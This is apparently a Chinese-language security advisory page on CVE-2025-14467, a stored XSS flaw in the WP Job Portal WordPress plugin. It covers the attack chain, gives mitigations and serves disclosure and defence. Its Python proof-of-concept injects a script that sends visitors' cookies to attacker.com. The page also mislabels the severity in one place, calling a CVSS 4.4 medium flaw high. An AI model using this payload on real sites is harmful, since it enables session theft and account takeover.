IPBUF安全漏洞报告
English
CVE-2025-14467 CVSS 4.4 中危

CVE-2025-14467 WordPress WP Job Portal插件存储型XSS漏洞

披露日期: 2025-12-12

漏洞信息

漏洞编号
CVE-2025-14467
漏洞类型
存储型XSS
CVSS评分
4.4 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
WP Job Portal (WordPress Plugin)

相关标签

CVE-2025-14467存储型XSSWordPress插件漏洞WP Job Portal跨站脚本攻击认证用户攻击脚本标签白名单输入验证不足会话劫持WordPress安全

漏洞概述

CVE-2025-14467是WordPress WP Job Portal插件中的一个高危安全漏洞。该漏洞为存储型跨站脚本攻击(Stored XSS),存在于该插件所有版本直至2.4.4版本。漏洞的根本原因在于插件的WPJOBPORTAL_ALLOWED_TAGS配置中显式地将危险的<script>标签加入了白名单,同时在保存职位描述时使用了不充分的输入清理机制。这使得具有Editor(编辑)级别及以上权限的认证攻击者能够通过职位创建或编辑界面注入任意JavaScript代码到职位描述字段中。由于这些恶意脚本被存储在数据库中,每当用户访问包含被注入内容的页面时,脚本就会自动执行,从而实现会话劫持、凭据盗窃、恶意重定向等攻击。需要注意的是,该漏洞仅影响WordPress多站点安装或禁用了unfiltered_html功能的单站点安装。

技术细节

该漏洞的技术根源在于插件的输入过滤机制存在严重缺陷。攻击者通过分析插件源代码发现,WPJOBPORTAL_ALLOWED_TAGS常量中明确包含了<script>标签,允许该标签及其内容通过输入验证。在modules/job/model.php的save job功能中,虽然存在基本的输入清理,但清理规则不够严格,未能有效过滤或转义script标签内的JavaScript代码。攻击者可以通过在职位描述字段中插入<script>alert(document.cookie)</script>或更复杂的恶意payload来实现XSS攻击。当其他用户访问该职位页面时,title.php视图文件会直接输出未经过滤的职位描述内容,导致恶意脚本在用户浏览器中执行。由于是存储型XSS,攻击效果持久且影响范围广,攻击者可窃取用户会话cookie、伪造用户操作或进行进一步的社会工程攻击。

攻击链分析

STEP 1
1
攻击者使用具有Editor级别权限的账户登录WordPress后台
STEP 2
2
攻击者导航至WP Job Portal的职位创建/编辑页面
STEP 3
3
在职位描述字段中注入包含<script>标签的恶意JavaScript代码
STEP 4
4
由于WPJOBPORTAL_ALLOWED_TAGS白名单包含script标签且输入清理不足,恶意payload被存储到数据库
STEP 5
5
当其他用户访问该职位页面时,未经过滤的<script>标签被浏览器执行
STEP 6
6
恶意脚本窃取用户cookie、会话令牌或其他敏感信息并发送到攻击者服务器
STEP 7
7
攻击者利用窃取的凭据进行会话劫持、账户接管或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re # CVE-2025-14467 PoC - WP Job Portal Stored XSS # Target: WordPress site with WP Job Portal plugin <= 2.4.4 BASE_URL = "http://target-wordpress-site.com" USERNAME = "editor_user" # Requires Editor-level access PASSWORD = "password" def get_nonce(session, url): """Extract WordPress nonce from page""" response = session.get(url) match = re.search(r'name="_wpnonce" value="([a-f0-9]+)"', response.text) if match: return match.group(1) return None def exploit_stored_xss(): """Inject malicious JavaScript via job description field""" session = requests.Session() # Step 1: Login with Editor-level account login_url = f"{BASE_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{BASE_URL}/wp-admin/" } session.post(login_url, data=login_data) # Step 2: Create new job with XSS payload in description add_job_url = f"{BASE_URL}/wp-admin/admin.php?page=wpjobportal_job&task=savejob" nonce = get_nonce(session, add_job_url) # XSS Payload - Steals cookies/session xss_payload = '''<script>var img=new Image();img.src="http://attacker.com/log?c="+document.cookie;</script>''' job_data = { '_wpnonce': nonce, 'title': 'Malicious Job Position', 'description': xss_payload, 'savejob': 'Save Job' } response = session.post(add_job_url, data=job_data) print("[+] XSS payload injected successfully") print("[*] Payload will execute when users view the job listing") if __name__ == "__main__": exploit_stored_xss()

影响范围

WP Job Portal < 2.4.4
WP Job Portal 2.4.4 (及所有更早版本)

防御指南

临时缓解措施
在官方补丁发布之前,可以采取以下临时缓解措施:1) 确保WordPress站点的unfiltered_html功能已启用;2) 限制Editor及以上权限账户的创建,仅授予可信用户高级权限;3) 在WAF规则中配置针对script标签的过滤策略;4) 临时禁用多用户注册功能;5) 实施内容安全策略(CSP)头部以减少XSS攻击面;6) 监控日志中的异常请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表